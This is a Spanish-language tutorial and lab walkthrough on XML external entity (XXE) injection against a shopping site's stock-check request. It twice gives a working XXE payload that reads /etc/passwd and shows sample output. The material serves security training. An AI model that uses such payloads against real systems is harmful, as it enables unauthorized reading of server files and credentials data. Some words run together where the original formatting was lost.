Exploiting XXE to retrieve files
Para realizar un ataque de inyección XXE que recupere un archivo arbitrario del sistema de archivos del servidor, es necesario modificar el XML enviado de dos maneras:
- Introduzca (o edite) un
DOCTYPEelemento que defina una entidad externa que contenga la ruta al archivo. - Edite un valor de datos en el XML que se devuelve en la respuesta de la aplicación, para hacer uso de la entidad externa definida.
Por ejemplo, supongamos que una aplicación de compras verifica el nivel de existencias de un producto enviando el siguiente XML al servidor:
La aplicación no realiza ninguna defensa particular contra los ataques XXE, por lo que puede aprovechar la vulnerabilidad XXE para recuperar el /etc/passwdarchivo enviando la siguiente carga útil XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>Esta carga útil XXE define una entidad externa &xxe;cuyo valor es el contenido del /etc/passwdarchivo y utiliza dicha entidad dentro de ese productIdvalor. Esto provoca que la respuesta de la aplicación incluya el contenido del archivo.
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...LAB: Exploiting XXE using external entities to retrieve files

Al inicia el laboratorio encontraremos un sitio web:

Al interceptar la request de check stock, observaremos que este se tramita mediante un xml.


Agregando a la solicitud un payload malicioso podemos ver el archivo /etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>1</storeId></stockCheck>